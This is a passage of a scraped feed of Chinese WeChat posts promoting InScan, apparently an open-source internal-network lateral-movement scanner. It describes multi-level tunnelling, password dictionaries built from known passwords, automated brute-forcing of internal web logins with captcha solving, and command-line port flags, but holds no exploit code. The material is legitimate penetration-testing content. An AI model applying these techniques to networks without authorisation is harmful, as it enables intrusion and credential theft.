poster="https://wechat2rss.xlab.app/img-proxy/?k=7401e8e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5P6tAASFjp5oHLKNZBDzzmW4aj4uv5YrHk4niagdWV082N11szacHSjA%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=5e52710c&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483720%26idx%3D1%26sn%3D92715eecb0c6a7c6133f832e0328ece2%26subscene%3D0&amp;v=wxv_1826440814827192323"></video></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;background-color: rgb(255, 255, 255);"></span></p><h2 style="margin-top: 24px;margin-bottom: 16px;padding-bottom: 0.3em;font-weight: 600;font-size: 1.5em;white-space: normal;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;text-size-adjust: auto;line-height: 1.25;border-bottom: 1px solid var(--color-border-secondary);color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: center;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">InScan运行过程</h2><p><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=a973c062&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHicAesDYNZGXsBCtymkh3fQ5YaIOcNX72SKibYqSMyJf4OGwL6clS9Jv9ibAs7P9I6QFNGl3GvRmwNJQ%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=0c474e29&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483720%26idx%3D1%26sn%3D92715eecb0c6a7c6133f832e0328ece2%26subscene%3D0&amp;v=wxv_1826444629194358789"></video><span style="background-color: rgb(255, 255, 255);color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: 0.544px;text-align: start;caret-color: rgb(51, 51, 51);"></span></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">提交反馈</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">如有好的建议，以及发现BUG。<br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>GitHub issue: <a href="https://github.com/inbug-team/InScan/issues" target="_blank">https://github.com/inbug-team/InScan/issues</a></p><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;font-weight: 600;overflow-wrap: break-word !important;">官网(生成扫描器)：</span> <a href="https://www.inbug.org" target="_blank">https://www.inbug.org</a></p><p><br/></p><table data-paste-markdown-skip="" style="width: 768px;"><tbody style="box-sizing: border-box;display: block !important;"><tr style="box-sizing: border-box;display: block !important;"><td style="box-sizing: border-box;padding: 15px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;line-height: 1.5;overflow-wrap: break-word;overflow: visible;display: block !important;word-break: break-all;" width="846"><p style="box-sizing: border-box;">也可添加微信号:whoami_in    邀请进群。</p></td></tr></tbody></table><p><br/></p><p><span style="box-sizing: border-box;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);"></span><span style="color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;text-align: start;background-color: rgb(255, 255, 255);"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">同时也可通过公众号联系：<br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;letter-spacing: 0.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-backh="568" data-backw="568" data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 667px !important;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dc6f908a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXPGpf61AslibrtJLPZZSMYnc9KiaRrFtXa6Obj39xiaqtRqlaVJCNWcGrg%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://www.inbug.org/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3f153f2b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483720%26idx%3D1%26sn%3D92715eecb0c6a7c6133f832e0328ece2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 16 Apr 2021 09:25:00 +0800</pubDate>
    </item>
    <item>
      <title>一款内网自动化横向工具：InScan开源扫描器</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483680&amp;idx=1&amp;sn=a48423a8d43bb9e948f6b40a855c812f</link>
      <description>一款内网自动化横向工具：InScan开源扫描器</description>
      <content:encoded><![CDATA[<p>
<span>InBug实验室</span> <span>2021-04-12 10:00</span> <span style="display: inline-block;"></span>
</p>

<p>一款内网自动化横向工具：InScan开源扫描器</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d37304d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibscjtGEU6QQPHwseoLLCiahiaIUbYyAciaLibWWOxNoPibzV5P2jYAVCshicbG20MR6ibHgnsGf6SKichicDA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="88109" style="max-width: 100%;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section hm_fix="350:722" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">InScan-开源扫描器</span></strong></p></section></section></section><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><h2 style="margin-top: 24px;margin-bottom: 16px;padding-bottom: 0.3em;font-weight: 600;font-size: 1.5em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;border-bottom: 1px solid var(--color-border-secondary);color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">工具简介</h2><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本工具只可用于安全性测试，勿用于非法用途！</em></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.4921875" data-s="300,640" data-type="png" data-w="1280" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5db62e89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FdzeEUCA16LJgvpfzb7h9bOIdWGxlnmDXkRczFoXjHfJMbdDHEuKs4oaVibNy3yh0jYTdaIpWCvBsDRw3sVKZNyg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>工具定位</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">边界打点后的自动化内网工具，完全与服务端脱离。服务端只用于生成poc，网段信息等配置。</p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>内网渗透痛点</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">目前已有的扫描器，依赖库较多，体积过于庞大，在内网渗透中，很多极端情况无法安装扫描器，使用socks4/socks5代理扫描的话，时间久，效率低。</p><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>InScan优点</h3><ul class="list-paddingleft-2" style="margin-bottom: 16px;padding-left: 2em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">多平台，单一的二进制文件，免依赖;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">支持自动可视化多级隧道，通过后台按钮开关即可穿越多层网络;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">支持ipv6的扫描器;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">快速直观查看多网卡机器，方便快速定位能穿多层网络机器;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">通过已知密码生成社工字典，快速横向内网;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">内网B/S架构系统自动化爆破，验证码自动识别;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">快速资产识别，站点截图;</p></li><li style="margin-top: 0.25em;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;">通过扫描到的资产自动化进行网站目录扫描；</p></li></ul><h3 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.25em;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>InScan支持平台</h3><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">全平台支持，一个二进制文件，开箱即用。命令行启动</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">  -pocPort <span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">int</span></span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">        rpc端口，默认：<span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8009</span> (<span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">default</span> <span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8009</span>)</span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">  -rpcPort <span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">int</span></span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">        rpc端口，默认：<span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8008</span> (<span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">default</span> <span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8008</span>)</span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">  -sysTime <span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">int</span></span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">        系统信息上报时间，默认：<span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">15</span>秒 (<span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">default</span> <span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">15</span>)</span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">  -webPort <span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">int</span></span></code><code style="white-space:pre-wrap;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">        web端口，默认：<span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8080</span> (<span class="code-snippet__keyword" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">default</span> <span class="code-snippet__number" style="max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8080</span>)</span></code></pre></section><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Windows使用</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 1em;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;">推荐管理员权限打开cmd，在cmd界面执行inscan.exe（管理员权限可支持icmp快速探测存活）</p><h4 style="margin-top: 24px;margin-bottom: 16px;font-weight: 600;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><svg viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Linux使用</h4><p style="margin-bottom: 16px;max-width: 100%;box-sizing: border-box;min-height: 